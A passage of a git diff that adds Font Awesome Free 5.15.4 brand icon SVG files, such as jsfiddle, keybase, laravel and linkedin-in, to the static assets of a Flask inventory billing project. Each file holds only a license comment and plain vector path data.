0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/jsfiddle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/jsfiddle.svg new file mode 100644 index 00000000..e059b93a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/jsfiddle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M510.634 237.462c-4.727-2.621-5.664-5.748-6.381-10.776-2.352-16.488-3.539-33.619-9.097-49.095-35.895-99.957-153.99-143.386-246.849-91.646-27.37 15.25-48.971 36.369-65.493 63.903-3.184-1.508-5.458-2.71-7.824-3.686-30.102-12.421-59.049-10.121-85.331 9.167-25.531 18.737-36.422 44.548-32.676 76.408.355 3.025-1.967 7.621-4.514 9.545-39.712 29.992-56.031 78.065-41.902 124.615 13.831 45.569 57.514 79.796 105.608 81.433 30.291 1.031 60.637.546 90.959.539 84.041-.021 168.09.531 252.12-.48 52.664-.634 96.108-36.873 108.212-87.293 11.54-48.074-11.144-97.3-56.832-122.634zm21.107 156.88c-18.23 22.432-42.343 35.253-71.28 35.65-56.874.781-113.767.23-170.652.23 0 .7-163.028.159-163.728.154-43.861-.332-76.739-19.766-95.175-59.995-18.902-41.245-4.004-90.848 34.186-116.106 9.182-6.073 12.505-11.566 10.096-23.136-5.49-26.361 4.453-47.956 26.42-62.981 22.987-15.723 47.422-16.146 72.034-3.083 10.269 5.45 14.607 11.564 22.198-2.527 14.222-26.399 34.557-46.727 60.671-61.294 97.46-54.366 228.37 7.568 230.24 132.697.122 8.15 2.412 12.428 9.848 15.894 57.56 26.829 74.456 96.122 35.142 144.497zm-87.789-80.499c-5.848 31.157-34.622 55.096-66.666 55.095-16.953-.001-32.058-6.545-44.079-17.705-27.697-25.713-71.141-74.98-95.937-93.387-20.056-14.888-41.99-12.333-60.272 3.782-49.996 44.071 15.859 121.775 67.063 77.188 4.548-3.96 7.84-9.543 12.744-12.844 8.184-5.509 20.766-.884 13.168 10.622-17.358 26.284-49.33 38.197-78.863 29.301-28.897-8.704-48.84-35.968-48.626-70.179 1.225-22.485 12.364-43.06 35.414-55.965 22.575-12.638 46.369-13.146 66.991 2.474C295.68 280.7 320.467 323.97 352.185 343.47c24.558 15.099 54.254 7.363 68.823-17.506 28.83-49.209-34.592-105.016-78.868-63.46-3.989 3.744-6.917 8.932-11.41 11.72-10.975 6.811-17.333-4.113-12.809-10.353 20.703-28.554 50.464-40.44 83.271-28.214 31.429 11.714 49.108 44.366 42.76 78.186z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/kaggle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/kaggle.svg new file mode 100644 index 00000000..fd018068 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/kaggle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M304.2 501.5L158.4 320.3 298.2 185c2.6-2.7 1.7-10.5-5.3-10.5h-69.2c-3.5 0-7 1.8-10.5 5.3L80.9 313.5V7.5q0-7.5-7.5-7.5H21.5Q14 0 14 7.5v497q0 7.5 7.5 7.5h51.9q7.5 0 7.5-7.5v-109l30.8-29.3 110.5 140.6c3 3.5 6.5 5.3 10.5 5.3h66.9q5.25 0 6-3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/keybase.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/keybase.svg new file mode 100644 index 00000000..f815fb6f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/keybase.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M286.17 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18zm111.92-147.6c-9.5-14.62-39.37-52.45-87.26-73.71q-9.1-4.06-18.38-7.27a78.43 78.43 0 0 0-47.88-104.13c-12.41-4.1-23.33-6-32.41-5.77-.6-2-1.89-11 9.4-35L198.66 32l-5.48 7.56c-8.69 12.06-16.92 23.55-24.34 34.89a51 51 0 0 0-8.29-1.25c-41.53-2.45-39-2.33-41.06-2.33-50.61 0-50.75 52.12-50.75 45.88l-2.36 36.68c-1.61 27 19.75 50.21 47.63 51.85l8.93.54a214 214 0 0 0-46.29 35.54C14 304.66 14 374 14 429.77v33.64l23.32-29.8a148.6 148.6 0 0 0 14.56 37.56c5.78 10.13 14.87 9.45 19.64 7.33 4.21-1.87 10-6.92 3.75-20.11a178.29 178.29 0 0 1-15.76-53.13l46.82-59.83-24.66 74.11c58.23-42.4 157.38-61.76 236.25-38.59 34.2 10.05 67.45.69 84.74-23.84.72-1 1.2-2.16 1.85-3.22a156.09 156.09 0 0 1 2.8 28.43c0 23.3-3.69 52.93-14.88 81.64-2.52 6.46 1.76 14.5 8.6 15.74 7.42 1.57 15.33-3.1 18.37-11.15C429 443 434 414 434 382.32c0-38.58-13-77.46-35.91-110.92zM142.37 128.58l-15.7-.93-1.39 21.79 13.13.78a93 93 0 0 0 .32 19.57l-22.38-1.34a12.28 12.28 0 0 1-11.76-12.79L107 119c1-12.17 13.87-11.27 13.26-11.32l29.11 1.73a144.35 144.35 0 0 0-7 19.17zm148.42 172.18a10.51 10.51 0 0 1-14.35-1.39l-9.68-11.49-34.42 27a8.09 8.09 0 0 1-11.13-1.08l-15.78-18.64a7.38 7.38 0 0 1 1.34-10.34l34.57-27.18-14.14-16.74-17.09 13.45a7.75 7.75 0 0 1-10.59-1s-3.72-4.42-3.8-4.53a7.38 7.38 0 0 1 1.37-10.34L214 225.19s-18.51-22-18.6-22.14a9.56 9.56 0 0 1 1.74-13.42 10.38 10.38 0 0 1 14.3 1.37l81.09 96.32a9.58 9.58 0 0 1-1.74 13.44zM187.44 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/keycdn.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/keycdn.svg new file mode 100644 index 00000000..a347e7db --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/keycdn.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M63.8 409.3l60.5-59c32.1 42.8 71.1 66 126.6 67.4 30.5.7 60.3-7 86.4-22.4 5.1 5.3 18.5 19.5 20.9 22-32.2 20.7-69.6 31.1-108.1 30.2-43.3-1.1-84.6-16.7-117.7-44.4.3-.6-38.2 37.5-38.6 37.9 9.5 29.8-13.1 62.4-46.3 62.4C20.7 503.3 0 481.7 0 454.9c0-34.3 33.1-56.6 63.8-45.6zm354.9-252.4c19.1 31.3 29.6 67.4 28.7 104-1.1 44.8-19 87.5-48.6 121 .3.3 23.8 25.2 24.1 25.5 9.6-1.3 19.2 2 25.9 9.1 11.3 12 10.9 30.9-1.1 42.4-12 11.3-30.9 10.9-42.4-1.1-6.7-7-9.4-16.8-7.6-26.3-24.9-26.6-44.4-47.2-44.4-47.2 42.7-34.1 63.3-79.6 64.4-124.2.7-28.9-7.2-57.2-21.1-82.2l22.1-21zM104 53.1c6.7 7 9.4 16.8 7.6 26.3l45.9 48.1c-4.7 3.8-13.3 10.4-22.8 21.3-25.4 28.5-39.6 64.8-40.7 102.9-.7 28.9 6.1 57.2 20 82.4l-22 21.5C72.7 324 63.1 287.9 64.2 250.9c1-44.6 18.3-87.6 47.5-121.1l-25.3-26.4c-9.6 1.3-19.2-2-25.9-9.1-11.3-12-10.9-30.9 1.1-42.4C73.5 40.7 92.2 41 104 53.1zM464.9 8c26 0 47.1 22.4 47.1 48.3S490.9 104 464.9 104c-6.3.1-14-1.1-15.9-1.8l-62.9 59.7c-32.7-43.6-76.7-65.9-126.9-67.2-30.5-.7-60.3 6.8-86.2 22.4l-21.1-22C184.1 74.3 221.5 64 260 64.9c43.3 1.1 84.6 16.7 117.7 44.6l41.1-38.6c-1.5-4.7-2.2-9.6-2.2-14.5C416.5 29.7 438.9 8 464.9 8zM256.7 113.4c5.5 0 10.9.4 16.4 1.1 78.1 9.8 133.4 81.1 123.8 159.1-9.8 78.1-81.1 133.4-159.1 123.8-78.1-9.8-133.4-81.1-123.8-159.2 9.3-72.4 70.1-124.6 142.7-124.8zm-59 119.4c.6 22.7 12.2 41.8 32.4 52.2l-11 51.7h73.7l-11-51.7c20.1-10.9 32.1-29 32.4-52.2-.4-32.8-25.8-57.5-58.3-58.3-32.1.8-57.3 24.8-58.2 58.3zM256 160"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/kickstarter-k.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/kickstarter-k.svg new file mode 100644 index 00000000..91efe83f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/kickstarter-k.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M147.3 114.4c0-56.2-32.5-82.4-73.4-82.4C26.2 32 0 68.2 0 113.4v283c0 47.3 25.3 83.4 74.9 83.4 39.8 0 72.4-25.6 72.4-83.4v-76.5l112.1 138.3c22.7 27.2 72.1 30.7 103.2 0 27-27.6 27.3-67.4 7.4-92.2l-90.8-114.8 74.9-107.4c17.4-24.7 17.5-63.1-10.4-89.8-30.3-29-82.4-31.6-113.6 12.8L147.3 185v-70.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/kickstarter.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/kickstarter.svg new file mode 100644 index 00000000..bfc264f6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/kickstarter.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 480H48c-26.4 0-48-21.6-48-48V80c0-26.4 21.6-48 48-48h352c26.4 0 48 21.6 48 48v352c0 26.4-21.6 48-48 48zM199.6 178.5c0-30.7-17.6-45.1-39.7-45.1-25.8 0-40 19.8-40 44.5v154.8c0 25.8 13.7 45.6 40.5 45.6 21.5 0 39.2-14 39.2-45.6v-41.8l60.6 75.7c12.3 14.9 39 16.8 55.8 0 14.6-15.1 14.8-36.8 4-50.4l-49.1-62.8 40.5-58.7c9.4-13.5 9.5-34.5-5.6-49.1-16.4-15.9-44.6-17.3-61.4 7l-44.8 64.7v-38.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/korvue.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/korvue.svg new file mode 100644 index 00000000..b69a7449 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/korvue.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 446 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M386.5 34h-327C26.8 34 0 60.8 0 93.5v327.1C0 453.2 26.8 480 59.5 480h327.1c33 0 59.5-26.8 59.5-59.5v-327C446 60.8 419.2 34 386.5 34zM87.1 120.8h96v116l61.8-116h110.9l-81.2 132H87.1v-132zm161.8 272.1l-65.7-113.6v113.6h-96V262.1h191.5l88.6 130.8H248.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/laravel.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/laravel.svg new file mode 100644 index 00000000..b343f2d4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/laravel.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504.4,115.83a5.72,5.72,0,0,0-.28-.68,8.52,8.52,0,0,0-.53-1.25,6,6,0,0,0-.54-.71,9.36,9.36,0,0,0-.72-.94c-.23-.22-.52-.4-.77-.6a8.84,8.84,0,0,0-.9-.68L404.4,55.55a8,8,0,0,0-8,0L300.12,111h0a8.07,8.07,0,0,0-.88.69,7.68,7.68,0,0,0-.78.6,8.23,8.23,0,0,0-.72.93c-.17.24-.39.45-.54.71a9.7,9.7,0,0,0-.52,1.25c-.08.23-.21.44-.28.68a8.08,8.08,0,0,0-.28,2.08V223.18l-80.22,46.19V63.44a7.8,7.8,0,0,0-.28-2.09c-.06-.24-.2-.45-.28-.68a8.35,8.35,0,0,0-.52-1.24c-.14-.26-.37-.47-.54-.72a9.36,9.36,0,0,0-.72-.94,9.46,9.46,0,0,0-.78-.6,9.8,9.8,0,0,0-.88-.68h0L115.61,1.07a8,8,0,0,0-8,0L11.34,56.49h0a6.52,6.52,0,0,0-.88.69,7.81,7.81,0,0,0-.79.6,8.15,8.15,0,0,0-.71.93c-.18.25-.4.46-.55.72a7.88,7.88,0,0,0-.51,1.24,6.46,6.46,0,0,0-.29.67,8.18,8.18,0,0,0-.28,2.1v329.7a8,8,0,0,0,4,6.95l192.5,110.84a8.83,8.83,0,0,0,1.33.54c.21.08.41.2.63.26a7.92,7.92,0,0,0,4.1,0c.2-.05.37-.16.55-.22a8.6,8.6,0,0,0,1.4-.58L404.4,400.09a8,8,0,0,0,4-6.95V287.88l92.24-53.11a8,8,0,0,0,4-7V117.92A8.63,8.63,0,0,0,504.4,115.83ZM111.6,17.28h0l80.19,46.15-80.2,46.18L31.41,63.44Zm88.25,60V278.6l-46.53,26.79-33.69,19.4V123.5l46.53-26.79Zm0,412.78L23.37,388.5V77.32L57.06,96.7l46.52,26.8V338.68a6.94,6.94,0,0,0,.12.9,8,8,0,0,0,.16,1.18h0a5.92,5.92,0,0,0,.38.9,6.38,6.38,0,0,0,.42,1v0a8.54,8.54,0,0,0,.6.78,7.62,7.62,0,0,0,.66.84l0,0c.23.22.52.38.77.58a8.93,8.93,0,0,0,.86.66l0,0,0,0,92.19,52.18Zm8-106.17-80.06-45.32,84.09-48.41,92.26-53.11,80.13,46.13-58.8,33.56Zm184.52,4.57L215.88,490.11V397.8L346.6,323.2l45.77-26.15Zm0-119.13L358.68,250l-46.53-26.79V131.79l33.69,19.4L392.37,178Zm8-105.28-80.2-46.17,80.2-46.16,80.18,46.15Zm8,105.28V178L455,151.19l33.68-19.4v91.39h0Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/lastfm-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/lastfm-square.svg new file mode 100644 index 00000000..82d2a6dc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/lastfm-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-92.2 312.9c-63.4 0-85.4-28.6-97.1-64.1-16.3-51-21.5-84.3-63-84.3-22.4 0-45.1 16.1-45.1 61.2 0 35.2 18 57.2 43.3 57.2 28.6 0 47.6-21.3 47.6-21.3l11.7 31.9s-19.8 19.4-61.2 19.4c-51.3 0-79.9-30.1-79.9-85.8 0-57.9 28.6-92 82.5-92 73.5 0 80.8 41.4 100.8 101.9 8.8 26.8 24.2 46.2 61.2 46.2 24.9 0 38.1-5.5 38.1-19.1 0-19.9-21.8-22-49.9-28.6-30.4-7.3-42.5-23.1-42.5-48 0-40 32.3-52.4 65.2-52.4 37.4 0 60.1 13.6 63 46.6l-36.7 4.4c-1.5-15.8-11-22.4-28.6-22.4-16.1 0-26 7.3-26 19.8 0 11 4.8 17.6 20.9 21.3 32.7 7.1 71.8 12 71.8 57.5.1 36.7-30.7 50.6-76.1 50.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/lastfm.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/lastfm.svg new file mode 100644 index 00000000..975fb2a8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/lastfm.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M225.8 367.1l-18.8-51s-30.5 34-76.2 34c-40.5 0-69.2-35.2-69.2-91.5 0-72.1 36.4-97.9 72.1-97.9 66.5 0 74.8 53.3 100.9 134.9 18.8 56.9 54 102.6 155.4 102.6 72.7 0 122-22.3 122-80.9 0-72.9-62.7-80.6-115-92.1-25.8-5.9-33.4-16.4-33.4-34 0-19.9 15.8-31.7 41.6-31.7 28.2 0 43.4 10.6 45.7 35.8l58.6-7c-4.7-52.8-41.1-74.5-100.9-74.5-52.8 0-104.4 19.9-104.4 83.9 0 39.9 19.4 65.1 68 76.8 44.9 10.6 79.8 13.8 79.8 45.7 0 21.7-21.1 30.5-61 30.5-59.2 0-83.9-31.1-97.9-73.9-32-96.8-43.6-163-161.3-163C45.7 113.8 0 168.3 0 261c0 89.1 45.7 137.2 127.9 137.2 66.2 0 97.9-31.1 97.9-31.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/leanpub.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/leanpub.svg new file mode 100644 index 00000000..45db2be8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/leanpub.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/less.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/less.svg new file mode 100644 index 00000000..6357b3ea --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/less.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M612.7 219c0-20.5 3.2-32.6 3.2-54.6 0-34.2-12.6-45.2-40.5-45.2h-20.5v24.2h6.3c14.2 0 17.3 4.7 17.3 22.1 0 16.3-1.6 32.6-1.6 51.5 0 24.2 7.9 33.6 23.6 37.3v1.6c-15.8 3.7-23.6 13.1-23.6 37.3 0 18.9 1.6 34.2 1.6 51.5 0 17.9-3.7 22.6-17.3 22.6v.5h-6.3V393h20.5c27.8 0 40.5-11 40.5-45.2 0-22.6-3.2-34.2-3.2-54.6 0-11 6.8-22.6 27.3-23.6v-27.3c-20.5-.7-27.3-12.3-27.3-23.3zm-105.6 32c-15.8-6.3-30.5-10-30.5-20.5 0-7.9 6.3-12.6 17.9-12.6s22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-21 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51s-22.5-41-43-47.8zm-358.9 59.4c-3.7 0-8.4-3.2-8.4-13.1V119.1H65.2c-28.4 0-41 11-41 45.2 0 22.6 3.2 35.2 3.2 54.6 0 11-6.8 22.6-27.3 23.6v27.3c20.5.5 27.3 12.1 27.3 23.1 0 19.4-3.2 31-3.2 53.6 0 34.2 12.6 45.2 40.5 45.2h20.5v-24.2h-6.3c-13.1 0-17.3-5.3-17.3-22.6s1.6-32.1 1.6-51.5c0-24.2-7.9-33.6-23.6-37.3v-1.6c15.8-3.7 23.6-13.1 23.6-37.3 0-18.9-1.6-34.2-1.6-51.5s3.7-22.1 17.3-22.1H93v150.8c0 32.1 11 53.1 43.1 53.1 10 0 17.9-1.6 23.6-3.7l-5.3-34.2c-3.1.8-4.6.8-6.2.8zM379.9 251c-16.3-6.3-31-10-31-20.5 0-7.9 6.3-12.6 17.9-12.6 11.6 0 22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-20.5 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51 .1-28.9-22.5-41-43-47.8zm-155-68.8c-38.4 0-75.1 32.1-74.1 82.5 0 52 34.2 82.5 79.3 82.5 18.9 0 39.9-6.8 56.2-17.9l-15.8-27.8c-11.6 6.8-22.6 10-34.2 10-21 0-37.3-10-41.5-34.2H290c.5-3.7 1.6-11 1.6-19.4.6-42.6-22.6-75.7-66.7-75.7zm-30 66.2c3.2-21 15.8-31 30.5-31 18.9 0 26.3 13.1 26.3 31h-56.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/line.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/line.svg new file mode 100644 index 00000000..4ca8a99d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/line.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M272.1 204.2v71.1c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.1 0-2.1-.6-2.6-1.3l-32.6-44v42.2c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.8 0-3.2-1.4-3.2-3.2v-71.1c0-1.8 1.4-3.2 3.2-3.2H219c1 0 2.1.5 2.6 1.4l32.6 44v-42.2c0-1.8 1.4-3.2 3.2-3.2h11.4c1.8-.1 3.3 1.4 3.3 3.1zm-82-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 1.8 1.4 3.2 3.2 3.2h11.4c1.8 0 3.2-1.4 3.2-3.2v-71.1c0-1.7-1.4-3.2-3.2-3.2zm-27.5 59.6h-31.1v-56.4c0-1.8-1.4-3.2-3.2-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 .9.3 1.6.9 2.2.6.5 1.3.9 2.2.9h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.7-1.4-3.2-3.1-3.2zM332.1 201h-45.7c-1.7 0-3.2 1.4-3.2 3.2v71.1c0 1.7 1.4 3.2 3.2 3.2h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2V234c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2v-11.4c-.1-1.7-1.5-3.2-3.2-3.2zM448 113.7V399c-.1 44.8-36.8 81.1-81.7 81H81c-44.8-.1-81.1-36.9-81-81.7V113c.1-44.8 36.9-81.1 81.7-81H367c44.8.1 81.1 36.8 81 81.7zm-61.6 122.6c0-73-73.2-132.4-163.1-132.4-89.9 0-163.1 59.4-163.1 132.4 0 65.4 58 120.2 136.4 130.6 19.1 4.1 16.9 11.1 12.6 36.8-.7 4.1-3.3 16.1 14.1 8.8 17.4-7.3 93.9-55.3 128.2-94.7 23.6-26 34.9-52.3 34.9-81.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/linkedin-in.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/linkedin-in.svg new file mode 100644 index 00000000..ae072c25 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/linkedin-in.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z"/></svg> \ No newline at end of file diff --git a/FLASK 